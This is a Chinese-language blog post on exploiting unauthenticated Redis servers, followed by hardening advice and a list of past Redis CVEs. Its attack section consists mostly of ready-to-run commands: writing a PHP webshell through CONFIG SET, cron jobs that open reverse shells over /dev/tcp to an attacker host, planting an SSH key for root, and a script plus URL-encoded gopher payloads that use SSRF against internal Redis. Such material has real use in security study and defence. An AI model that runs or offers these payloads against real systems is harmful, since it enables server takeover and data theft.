redis相关漏洞

Redis未授权访问漏洞的利用及防护

环境配置

目标主机:Ubuntu 16.04.6

配置redis

1后端模式启动,修改redis.conf配置文件, daemonize yes 以后端模式启动

daemonize yes

再执行命令redis-server redis.conf启动redis

2去除ip绑定

# bind 127.0.0.1

3关闭保护模式,允许远程连接redis服务(Redis3.2之后新特性)

protected-mode no

攻击方式

1向web目录写webshell

redis-cli -h 192.168.x.x #连接目标redis
flushall #清除其他数据
set a "" #设置值
CONFIG SET dir /var/www/html #设置web目录
CONFIG SET dbfilename shell.php #设置备份文件名
save #保存

2写crontab定时任务,反弹shell

先开启端口监听

连接redis,写入反弹shell

# 被攻击机是UBUNTU
redis-cli -h 192.168.x.x
set aa "\n\n*/1 * * * * ln -s -f bash /bin/sh\n\n"
set ab "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/2333 0>&1\n\n"
set bb "\n\n*/1 * * * * bash -c 'bash -i >& /dev/tcp/raohh.cn/2334 0>&1'\n\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
save
# 被攻击机是CENTOS
redis-cli -h 192.168.x.x
set aaa "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/2333 0>&1\n\n"
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
save

然后接收shell

3写入ssh公钥,直接连接主机。

CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET a "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH4wHdHYIeVWywzESA/zUiFkJtLFsD19XR1IhI6zcqPOYO6iLLi54oKniGEfwvtoDiBI+FCxdvF9B4FARnl1s3YSA3R8uX084dfyL6q8TGidY0axAITIs3h7q/DeYSfMlfTYbCZDo9IculNfVp0swV1HHmU8ZA9ghqr0nekCNW6Syisj9IUHLVpt5LdqIDRniZFu+/S/nc0ggAd3HeB9uWQcn0Gd8mAO+DcvduK6ssf/LadB4xVXwSPTL3k7bKBZTB14zcO/B9N/fRSi/gauvPxQuplmTXm95H+WHQJdK6j2AtfDrSYZTwtpmPwuon18Pz9Znd6WjrmS0kf2bg/YDl xxx\n\n\n"
save

ssh root@ip -i id_rsa就可以连接上了

Redis未授权访问漏洞的防护

禁止远程使用一些高危命令

我们可以通过修改redis.conf文件来禁用远程修改DB文件地址

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

低权限运行Redis服务

为Redis服务创建单独的userhome目录,并且配置禁止登陆

groupadd -r redis && useradd -r -g redis redis

为Redis添加密码验证

我们可以通过修改redis.conf文件来为Redis添加密码验证

requirepass mypassword

禁止外网访问 Redis

我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用

bind 127.0.0.1

保证authorized_keys文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限

chmod 400 ~/.ssh/authorized_keys

为保证authorized_keys的权限不会被改掉,您还需要设置该文件的immutable位权限

chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh目录和authorized_keys文件。要避免这种情况,需要设置~./ssh的immutable位权限

chattr +i ~/.ssh

如果需要添加新的公钥,需要移除authorized_keys的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上immutable位权限

利用 Gopher 协议拓展攻击面

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。

基本协议格式:URL:gopher://<host>:<port>/_后接TCP数据流

本地测试

开始端口转发socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 这一个命令监听4444端口并将4444端口数据转发至6379也就是redis-server端口。

redis先连上4444端口,执行命令set hh '1234'

root@iZ2ze5s6ej00cdkfjisoauZ:~/redis/redis-2.8.17/src# ./redis-cli -p 4444
127.0.0.1:4444> set hh '1234'
OK
127.0.0.1:4444> get hh
"1234"

在查看数据转发接收的数据

root:# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2020/02/04 14:10:38.168870  length=31 from=0 to=30
*3\r
$3\r
set\r
$2\r
hh\r
$4\r
1234\r
< 2020/02/04 14:10:38.169100  length=5 from=0 to=4
+OK\r
> 2020/02/04 14:10:42.534986  length=21 from=31 to=51
*2\r
$3\r
get\r
$2\r
hh\r
< 2020/02/04 14:10:42.535216  length=10 from=5 to=14
$4\r
1234\r

自己改的生成payload的脚本 (添加了url编码)

#coding: utf-8
import sys
import urllib
exp = 'gopher://127.0.0.1:6379/_'
sign=1
with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><' and line[1] == ' ' and 'length' in line and 'from' in line and 'to' in line:
            if line[0]== '>':
                sign=1
            else:
                sign=0
            continue
        elif sign==0:
            continue
        # 判断倒数第1、2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = urllib.quote(line[:-3])
                line = line + '%0d%0a'
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = urllib.quote(line)
            line = line.replace('%0A', '')
            exp = exp + line
print exp

生成的payload

➜ python payload.py socat
gopher://127.0.0.1:6379/_%2A3%0d%0a%243%0d%0aset%0d%0a%242%0d%0ahh%0d%0a%244%0d%0a1234%0d%0a%2A2%0d%0a%243%0d%0aget%0d%0a%242%0d%0ahh%0d%0a

➜ curl 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$2%0d%0ahh%0d%0a$4%0d%0a1234%0d%0a*2%0d%0a$3%0d%0aget%0d%0a$2%0d%0ahh%0d%0a'

+OK
$4
1234

攻击内网redis

搭建环境 apt-get install php7.x-curl

#shell.php
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

禁止远程访问

注意payload需要url编码一下,当payload中含有 < ? > 等符号

#写数据库
curl 'http://ip/shell.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%242%250d%250ahh%250d%250a%244%250d%250a1234%250d%250a%2A2%250d%250a%243%250d%250aget%250d%250a%242%250d%250ahh%250d%250a'
#写webshell
curl "http://ip/shell.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250aa%250d%250a%252427%250d%250a%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527a%2527%255D%2529%253B%253F%253E%250d%250a%252A4%250d%250a%25246%250d%250aCONFIG%250d%250a%25243%250d%250aSET%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a%252A4%250d%250a%25246%250d%250aCONFIG%250d%250a%25243%250d%250aSET%250d%250a%252410%250d%250adbfilename%250d%250a%25245%250d%250as.php%250d%250a%252A1%250d%250a%25244%250d%250asave%250d%250a"

反弹shell只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

历史漏洞

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:

Redis 4.x RCE

攻击场景:1 能够访问远程redis的端口(直接访问或者SSRF)2 对redis服务器可以访问到的另一台服务器有控制权,可以写文件

通过 MODULE LOAD加载redis外部的模块

Redis 远程代码执行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。

CVE-2015-8080

Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。

CVE-2015-4335

Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码

CVE-2013-7458读取“.rediscli_history”配置文件信息。


文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
 上一篇
PHPCMS v9.6.0漏洞 PHPCMS v9.6.0漏洞
PHPCMS v9.6.0 任意文件上传漏洞分析漏洞版本环境漏洞分析当开启session功能后时,会发现 session 文件默认存储在 ./runtime/session 下,其文件名格式为sess_PHPSESSID 。而当我们在 PH
2020-02-15
下一篇 
Thinkphp < 6.0.2 session id未作过滤 Thinkphp < 6.0.2 session id未作过滤
漏洞版本环境2020年1月13号,Thinkphp 6.0.2发布,在详情页指出修复了一处Session安全隐患。 ➜ htdocs composer create-project topthink/think tp 将 composer
2020-01-23
  目录